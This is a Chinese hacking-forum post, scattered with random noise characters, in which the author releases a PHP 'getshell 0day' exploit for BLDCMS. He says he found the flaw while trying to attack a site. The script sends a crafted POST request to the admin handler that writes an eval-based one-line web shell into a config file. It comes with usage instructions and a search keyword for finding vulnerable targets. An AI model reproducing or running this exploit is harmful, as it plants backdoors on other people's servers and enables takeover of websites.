之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
% r) m5 y3 I, U$ N2 W. o
" p2 M8 p6 e( ^7 v! ? - ~' g+ j; g( H
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 ' p* {! ^9 F' B' G* v7 A8 t* a
* t! U. e! m. w9 M
既然都有人发了 我就把我之前写好的EXP放出来吧
! \- u- E" ? F( i/ ?
4 C% B3 K/ H6 N9 o& Y6 q" d7 x4 gview source print?01.php;">
, L* e* \! j2 L7 F02.<!--?php, X2 U! _8 V1 h
03.echo "-------------------------------------------------------------------
) [6 b7 y1 X8 n. m) @ e; g04.
6 T( P2 F: R% e9 [8 y05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP6 I: z- l7 E2 w( k! b( C, i
06.
7 L9 M4 C- {' S' Y$ J) `! W7 V07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun1 Q, h; m s2 D9 s
08. 5 y+ L6 N! Y. q( x0 B
09.QQ:981009941\r\n 2013.3.21\r\n . B9 X' r: d( e! P Y
10.
5 ?# y4 m' P# g& b) `11.
L S7 Y0 V: L3 y& c12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码 C- g7 x- S8 G, F
13.
: c8 I# g. m3 F v+ T( h14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
4 v) K! Z( x7 ^0 U! o15.
?( n' e6 y/ A- ]- N8 T5 V( L5 L16.--------------------------------------------------------------------\r\n";% N L& v u5 z5 ~" ^
17.$url=$argv[1];
7 K3 f( z0 X& k& j18.$dir=$argv[2];
; D1 v' Q" `/ m9 Y% ]19.$pass=$argv[3];
; L8 K5 c- O. X! p% E) M0 C# ]20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';. l" z; j7 k7 S! f% A4 O
21.if (emptyempty($pass)||emptyempty($url))8 P, b2 o& z' E& L' l/ M4 I" R/ f
22.{exit("请输入参数");}
) v5 e5 D I( K, F( @+ E5 o: {5 p23.else) z# }+ i m ^0 C& o
24.{% L( I2 I9 R* O7 S: K$ D( B0 m
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev J2 Y L5 W* h: D. U: W7 {
26.
4 m# e# c+ w2 v27.al;; u8 g. p, T1 i7 [+ w. X
28.$length = strlen($fuckdata);
& q' Q& }, ?: m$ i6 k3 [4 @* a29.function getshell($url,$pass)8 }) |9 G9 I3 O% e* q; n' @1 J; k* ~
30.{; G) p* E* M, n. A4 f9 o- O! y
31.global $url,$dir,$pass,$eval,$length,$fuckdata;! s8 f9 y& |3 P3 B' D7 @
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
, r; T9 ]/ @- n) \; c33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";9 a% h$ F4 \: \5 r
34.$header .= "User-Agent: MSIE\r\n";
5 C) K: K: O: e# ]3 c35.$header .= "Host:".$url."\r\n";
7 G$ b, s9 t; i; z$ x9 R. j36.$header .= "Content-Length: ".$length."\r\n";
( L- g" u$ ~; }5 t+ C. V37.$header .= "Connection: Close\r\n";
9 x! I4 T& ^4 O38.$header .="\r\n";
4 W7 x- g9 _7 U! w m39.$header .= $fuckdata."\r\n\r\n";
; y/ E' b% y8 N8 i2 W' D40.$fp = fsockopen($url, 80,$errno,$errstr,15);4 J, [1 B* @3 P
41.if (!$fp) ~# d8 G" P0 _- i/ e
42.{8 B( g8 g: L3 z- Z: v4 y
43.exit ("利用失败:请检查指定目标是否能正常打开");, t: V; [. G* w* \. b3 n
44.}/ ?. s+ w) M- y" O. n' J
45.else{ if (!fputs($fp,$header))
2 K, `. q) K& }6 ^$ `1 \' }' k46.{exit ("利用失败");}) E) D# [7 D; y n
47.else
3 [& n- A% W% J8 @' ]8 e! x48.{% D3 P9 [. h. `! C; }
49.$receive = '';
( `$ m& J V4 W8 d5 Z50.while (!feof($fp)) {
# P& k' |9 T9 C8 Z3 h9 L" Y! C51.$receive .= @fgets($fp, 1000);# b: J' n* h' q `6 L" X2 ^
52.}0 u& ?5 T6 j4 n
53.@fclose($fp);
3 a# g# M( P$ Y: g9 M9 g54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
2 |$ `4 |) }) b$ b55.
: ^ p$ v& n) Q( ^56.GPC是否=off)";
8 n; h+ W2 B4 N: P8 t! S+ m3 \57.}}+ }2 F+ ? B% Q0 [0 l
58.}/ S) G3 Q1 R) v, o. a9 ]) @0 p
59.}
9 }7 ]* }* F0 @60.getshell($url,$pass);
( Y. x! \$ v0 }( W2 s/ j2 c4 a61.?-->$ y4 H* a; X1 B( w9 U0 [
7 B Y3 ^1 ]0 B% I* x O
& r8 S: ~! }- x: k& o7 F
* S H" b/ q. oby 数据流
( K/ F! Z& ?* `$ h |